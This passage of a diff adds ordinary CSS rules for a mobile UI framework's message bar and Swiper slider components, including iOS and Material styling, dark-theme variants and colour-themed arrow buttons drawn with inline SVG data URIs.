-webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + margin-top: 1px; + position: relative; + overflow: hidden; + height: 125px; + width: 125px; + margin-right: 1px; +} +@media (orientation: landscape) { + .messagebar-sheet-image, + .messagebar-sheet-item { + width: 95px; + height: 95px; + } +} +.messagebar-sheet-image .icon-checkbox, +.messagebar-sheet-item .icon-checkbox, +.messagebar-sheet-image .icon-radio, +.messagebar-sheet-item .icon-radio { + position: absolute; + right: 8px; + bottom: 8px; +} +.messagebar-sheet-image { + background-size: cover; + background-position: center; + background-repeat: no-repeat; +} +.messagebar-attachment-delete { + display: block; + position: absolute; + border-radius: 50%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + cursor: pointer; + -webkit-box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); + box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); +} +.messagebar-attachment-delete:after, +.messagebar-attachment-delete:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.messagebar-attachment-delete:after { + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.messagebar-attachment-delete:before { + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); +} +.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet { + display: none; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top), +.md.device-iphone-x .messagebar:not(.messagebar-top) { + height: auto !important; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible), +.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible) { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .messagebar-sheet, +.md.device-iphone-x .messagebar-sheet { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .messagebar { + background: #fff; + min-height: 44px; +} +.ios .messagebar:before { + display: none !important; +} +.ios .messagebar textarea { + background: #fff; + border-radius: 17px; + padding: 6px 15px; + height: 34px; + line-height: 20px; + font-size: 17px; + border: 1px solid #c8c8cd; +} +.ios .messagebar a.link.icon-only:first-child { + margin-left: -8px; +} +.ios .messagebar a.link.icon-only:last-child { + margin-right: -8px; +} +.ios .messagebar a.link:not(.icon-only) + .messagebar-area { + margin-left: 8px; +} +.ios .messagebar .messagebar-area + a.link:not(.icon-only) { + margin-left: 8px; +} +.ios .messagebar-area { + margin-top: 5px; + margin-bottom: 5px; +} +.ios .messagebar-attachments { + padding: 5px; + border-radius: 17px 17px 0 0; + border: 1px solid #c8c8cd; + border-bottom: none; +} +.ios .messagebar-attachments-visible .messagebar-attachments + textarea { + border-radius: 0 0 17px 17px; +} +.ios .messagebar-attachment { + border-radius: 12px; + font-size: 14px; +} +.ios .messagebar-attachment img { + border-radius: 12px; +} +.ios .messagebar-sheet { + background: #d1d5da; +} +.ios .messagebar-attachment-delete { + right: 5px; + top: 5px; + width: 20px; + height: 20px; + background: #7d7e80; + border: 2px solid #fff; + cursor: pointer; +} +.ios .messagebar-attachment-delete:after, +.ios .messagebar-attachment-delete:before { + width: 10px; + height: 2px; + background: #fff; + margin-left: -5px; + margin-top: -1px; +} +.ios .theme-dark .messagebar textarea, +.messagebar.ios .theme-dark textarea { + background-color: #000; + border-color: #282829; + color: #fff; +} +.ios .theme-dark .messagebar-attachments { + border-color: #282829; + background-color: #000; +} +.md .messagebar { + font-size: 16px; +} +.md .messagebar:after { + display: none; +} +.md .messagebar textarea { + padding: 5px 8px; + height: 32px; + color: #333; + font-size: 16px; + line-height: 22px; +} +.md .messagebar a.link { + color: #333; +} +.md .messagebar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .messagebar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .messagebar:before { + content: ''; + position: absolute; + background-color: #d1d1d1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .messagebar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .messagebar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .messagebar-attachments { + padding: 8px; + border-bottom: 1px solid #ddd; +} +.md .messagebar-area { + margin-top: 8px; + margin-bottom: 8px; +} +.md .messagebar-sheet { + background: #fff; +} +.md .messagebar-sheet-image .icon-checkbox, +.md .messagebar-sheet-item .icon-checkbox { + border-color: #fff; + background: rgba(255, 255, 255, 0.25); + -webkit-box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5); +} +.md .messagebar-attachment-delete { + right: 8px; + top: 8px; + width: 24px; + height: 24px; + background: #2196f3; + cursor: pointer; + border-radius: 2px; +} +.md .messagebar-attachment-delete:after, +.md .messagebar-attachment-delete:before { + width: 14px; + height: 2px; + background: #fff; + margin-left: -7px; + margin-top: -1px; +} +.md .theme-dark .messagebar, +.messagebar.md .theme-dark { + background: #000; +} +.md .theme-dark .messagebar:before, +.messagebar.md .theme-dark:before { + background-color: rgba(255, 255, 255, 0.2); +} +.md .theme-dark .messagebar a.link, +.messagebar.md .theme-dark a.link { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .messagebar a.link:before, +.messagebar.md .theme-dark a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .messagebar a.link.active-state:before, +.messagebar.md .theme-dark a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .messagebar textarea, +.messagebar.md .theme-dark textarea { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .messagebar-attachments { + border-bottom-color: rgba(255, 255, 255, 0.2); +} +/* === Swiper === */ +.swiper-container { + margin: 0 auto; + position: relative; + overflow: hidden; + list-style: none; + padding: 0; + /* Fix of Webkit flickering */ + z-index: 1; +} +.swiper-container-no-flexbox .swiper-slide { + float: left; +} +.swiper-container-vertical > .swiper-wrapper { + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.swiper-wrapper { + position: relative; + width: 100%; + height: 100%; + z-index: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-box-sizing: content-box; + box-sizing: content-box; +} +.swiper-container-android .swiper-slide, +.swiper-wrapper { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +.swiper-container-multirow > .swiper-wrapper { + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; +} +.swiper-container-free-mode > .swiper-wrapper { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; + margin: 0 auto; +} +.swiper-slide { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 100%; + height: 100%; + position: relative; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.swiper-invisible-blank-slide { + visibility: hidden; +} +/* Auto Height */ +.swiper-container-autoheight, +.swiper-container-autoheight .swiper-slide { + height: auto; +} +.swiper-container-autoheight .swiper-wrapper { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-transition-property: height, -webkit-transform; + transition-property: height, -webkit-transform; + transition-property: transform, height; + transition-property: transform, height, -webkit-transform; +} +/* 3D Effects */ +.swiper-container-3d { + -webkit-perspective: 1200px; + perspective: 1200px; +} +.swiper-container-3d .swiper-wrapper, +.swiper-container-3d .swiper-slide, +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom, +.swiper-container-3d .swiper-cube-shadow { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + pointer-events: none; + z-index: 10; +} +.swiper-container-3d .swiper-slide-shadow-left { + background-image: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-right { + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-top { + background-image: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-bottom { + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +/* IE10 Windows Phone 8 Fixes */ +.swiper-container-wp8-horizontal, +.swiper-container-wp8-horizontal > .swiper-wrapper { + -ms-touch-action: pan-y; + touch-action: pan-y; +} +.swiper-container-wp8-vertical, +.swiper-container-wp8-vertical > .swiper-wrapper { + -ms-touch-action: pan-x; + touch-action: pan-x; +} +/* a11y */ +.swiper-container .swiper-notification { + position: absolute; + left: 0; + top: 0; + pointer-events: none; + opacity: 0; + z-index: -1000; +} +.swiper-container-coverflow .swiper-wrapper { + /* Windows 8 IE 10 fix */ + -ms-perspective: 1200px; +} +.swiper-container-cube { + overflow: visible; +} +.swiper-container-cube .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; + visibility: hidden; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + width: 100%; + height: 100%; +} +.swiper-container-cube .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-cube.swiper-container-rtl .swiper-slide { + -webkit-transform-origin: 100% 0; + transform-origin: 100% 0; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-next, +.swiper-container-cube .swiper-slide-prev, +.swiper-container-cube .swiper-slide-next + .swiper-slide { + pointer-events: auto; + visibility: visible; +} +.swiper-container-cube .swiper-slide-shadow-top, +.swiper-container-cube .swiper-slide-shadow-bottom, +.swiper-container-cube .swiper-slide-shadow-left, +.swiper-container-cube .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.swiper-container-cube .swiper-cube-shadow { + position: absolute; + left: 0; + bottom: 0px; + width: 100%; + height: 100%; + background: #000; + opacity: 0.6; + -webkit-filter: blur(50px); + filter: blur(50px); + z-index: 0; +} +.swiper-container-fade.swiper-container-free-mode .swiper-slide { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.swiper-container-fade .swiper-slide { + pointer-events: none; + -webkit-transition-property: opacity; + transition-property: opacity; +} +.swiper-container-fade .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-fade .swiper-slide-active, +.swiper-container-fade .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip { + overflow: visible; +} +.swiper-container-flip .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; +} +.swiper-container-flip .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-flip .swiper-slide-active, +.swiper-container-flip .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip .swiper-slide-shadow-top, +.swiper-container-flip .swiper-slide-shadow-bottom, +.swiper-container-flip .swiper-slide-shadow-left, +.swiper-container-flip .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +/* Scrollbar */ +.swiper-scrollbar { + border-radius: 10px; + position: relative; + -ms-touch-action: none; + background: rgba(0, 0, 0, 0.1); +} +.swiper-container-horizontal > .swiper-scrollbar { + position: absolute; + left: 1%; + bottom: 3px; + z-index: 50; + height: 5px; + width: 98%; +} +.swiper-container-vertical > .swiper-scrollbar { + position: absolute; + right: 3px; + top: 1%; + z-index: 50; + width: 5px; + height: 98%; +} +.swiper-scrollbar-drag { + height: 100%; + width: 100%; + position: relative; + background: rgba(0, 0, 0, 0.5); + border-radius: 10px; + left: 0; + top: 0; +} +.swiper-scrollbar-cursor-drag { + cursor: move; +} +.swiper-scrollbar-lock { + display: none; +} +.swiper-zoom-container { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + text-align: center; +} +.swiper-zoom-container > img, +.swiper-zoom-container > svg, +.swiper-zoom-container > canvas { + max-width: 100%; + max-height: 100%; + -o-object-fit: contain; + object-fit: contain; +} +.swiper-slide-zoomed { + cursor: move; +} +.swiper-button-prev, +.swiper-button-next { + position: absolute; + top: 50%; + width: 27px; + height: 44px; + margin-top: -22px; + z-index: 10; + cursor: pointer; + background-size: 27px 44px; + background-position: center; + background-repeat: no-repeat; +} +.swiper-button-prev.swiper-button-disabled, +.swiper-button-next.swiper-button-disabled { + opacity: 0.35; + cursor: auto; + pointer-events: none; +} +.swiper-button-prev, +.swiper-container-rtl .swiper-button-next { + left: 10px; + right: auto; +} +.swiper-button-next, +.swiper-container-rtl .swiper-button-prev { + right: 10px; + left: auto; +} +.swiper-pagination { + position: absolute; + text-align: center; + -webkit-transition: 300ms opacity; + transition: 300ms opacity; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 10; +} +.swiper-pagination.swiper-pagination-hidden { + opacity: 0; +} +.swiper-pagination-fraction, +.swiper-pagination-custom, +.swiper-container-horizontal > .swiper-pagination-bullets { + bottom: 10px; + left: 0; + width: 100%; +} +.swiper-pagination-bullets-dynamic { + overflow: hidden; + font-size: 0; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transform: scale(0.33); + transform: scale(0.33); + position: relative; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active { + -webkit-transform: scale(1); + transform: scale(1); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullet { + width: 8px; + height: 8px; + display: inline-block; + border-radius: 100%; + background: #000; + opacity: 0.2; +} +button.swiper-pagination-bullet { + border: none; + margin: 0; + padding: 0; + -webkit-box-shadow: none; + box-shadow: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.swiper-pagination-clickable .swiper-pagination-bullet { + cursor: pointer; +} +.swiper-pagination-bullet-active { + opacity: 1; +} +.swiper-container-vertical > .swiper-pagination-bullets { + right: 10px; + top: 50%; + -webkit-transform: translate3d(0px, -50%, 0); + transform: translate3d(0px, -50%, 0); +} +.swiper-container-vertical > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 6px 0; + display: block; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + width: 8px; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + display: inline-block; + -webkit-transition: 200ms top, 200ms -webkit-transform; + transition: 200ms top, 200ms -webkit-transform; + transition: 200ms transform, 200ms top; + transition: 200ms transform, 200ms top, 200ms -webkit-transform; +} +.swiper-container-horizontal > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 0 4px; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + white-space: nowrap; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transition: 200ms left, 200ms -webkit-transform; + transition: 200ms left, 200ms -webkit-transform; + transition: 200ms transform, 200ms left; + transition: 200ms transform, 200ms left, 200ms -webkit-transform; +} +.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); + position: absolute; +} +.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transform-origin: left top; + transform-origin: left top; +} +.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + -webkit-transform-origin: right top; + transform-origin: right top; +} +.swiper-container-horizontal > .swiper-pagination-progressbar, +.swiper-container-vertical > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 100%; + height: 4px; + left: 0; + top: 0; +} +.swiper-container-vertical > .swiper-pagination-progressbar, +.swiper-container-horizontal > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 4px; + height: 100%; + left: 0; + top: 0; +} +.swiper-lazy-preloader { + position: absolute; + left: 50%; + top: 50%; + z-index: 10; +} +.ios .swiper-lazy-preloader { + width: 32px; + height: 32px; + margin-left: -16px; + margin-top: -16px; +} +.ios .swiper-button-prev, +.ios .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next, +.ios .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-pagination-bullet-active { + background: #007aff; +} +.ios .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #007aff; +} +.ios .swiper-button-prev.color-red, +.ios .swiper-container-rtl .swiper-button-next.color-red, +.ios .color-theme-red .swiper-button-prev, +.ios .color-theme-red .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-red, +.ios .swiper-container-rtl .swiper-button-prev.color-red, +.ios .color-theme-red .swiper-button-next, +.ios .color-theme-red .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-red .swiper-pagination-bullet-active, +.ios .color-theme-red .swiper-pagination-bullet-active { + background: #ff3b30; +} +.ios .color-red .swiper-pagination-progressbar, +.ios .color-theme-red .swiper-pagination-progressbar, +.ios .color-red.swiper-pagination-progressbar, +.ios .color-theme-red.swiper-pagination-progressbar { + background: rgba(255, 59, 48, 0.25); +} +.ios .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff3b30; +} +.ios .swiper-button-prev.color-green, +.ios .swiper-container-rtl .swiper-button-next.color-green, +.ios .color-theme-green .swiper-button-prev, +.ios .color-theme-green .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-green, +.ios .swiper-container-rtl .swiper-button-prev.color-green, +.ios .color-theme-green .swiper-button-next, +.ios .color-theme-green .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-green .swiper-pagination-bullet-active, +.ios .color-theme-green .swiper-pagination-bullet-active { + background: #4cd964; +} +.ios .color-green .swiper-pagination-progressbar, +.ios .color-theme-green .swiper-pagination-progressbar, +.ios .color-green.swiper-pagination-progressbar, +.ios .color-theme-green.swiper-pagination-progressbar { + background: rgba(76, 217, 100, 0.25); +} +.ios .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #4cd964; +} +.ios .swiper-button-prev.color-blue, +.ios .swiper-container-rtl .swiper-button-next.color-blue, +.ios .color-theme-blue .swiper-button-prev, +.ios .color-theme-blue .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-blue, +.ios .swiper-container-rtl .swiper-button-prev.color-blue, +.ios .color-theme-blue .swiper-button-next, +.ios .color-theme-blue .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-blue .swiper-pagination-bullet-active, +.ios .color-theme-blue .swiper-pagination-bullet-active { + background: #007aff; +} +.ios .color-blue .swiper-pagination-progressbar, +.ios .color-theme-blue .swiper-pagination-progressbar, +.ios .color-blue.swiper-pagination-progressbar, +.ios .color-theme-blue.swiper-pagination-progressbar { + background: rgba(0, 122, 255, 0.25); +} +.ios .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #007aff; +} +.ios .swiper-button-prev.color-pink, +.ios .swiper-container-rtl .swiper-button-next.color-pink, +.ios .color-theme-pink .swiper-button-prev, +.ios .color-theme-pink .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-pink, +.ios .swiper-container-rtl .swiper-button-prev.color-pink, +.ios .color-theme-pink .swiper-button-next, +.ios .color-theme-pink .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-pink .swiper-pagination-bullet-active, +.ios .color-theme-pink .swiper-pagination-bullet-active { + background: #ff2d55; +} +.ios .color-pink .swiper-pagination-progressbar, +.ios .color-theme-pink .swiper-pagination-progressbar, +.ios .color-pink.swiper-pagination-progressbar, +.ios .color-theme-pink.swiper-pagination-progressbar { + background: rgba(255, 45, 85, 0.25); +} +.ios .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff2d55; +} +.ios .swiper-button-prev.color-yellow, +.ios .swiper-container-rtl .swiper-button-next.color-yellow, +.ios .color-theme-yellow .swiper-button-prev, +.ios .color-theme-yellow .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-yellow, +.ios .swiper-container-rtl .swiper-button-prev.color-yellow, +.ios .color-theme-yellow .swiper-button-next, +.ios .color-theme-yellow .swiper-container-rtl .swiper-button-prev { + background-image: 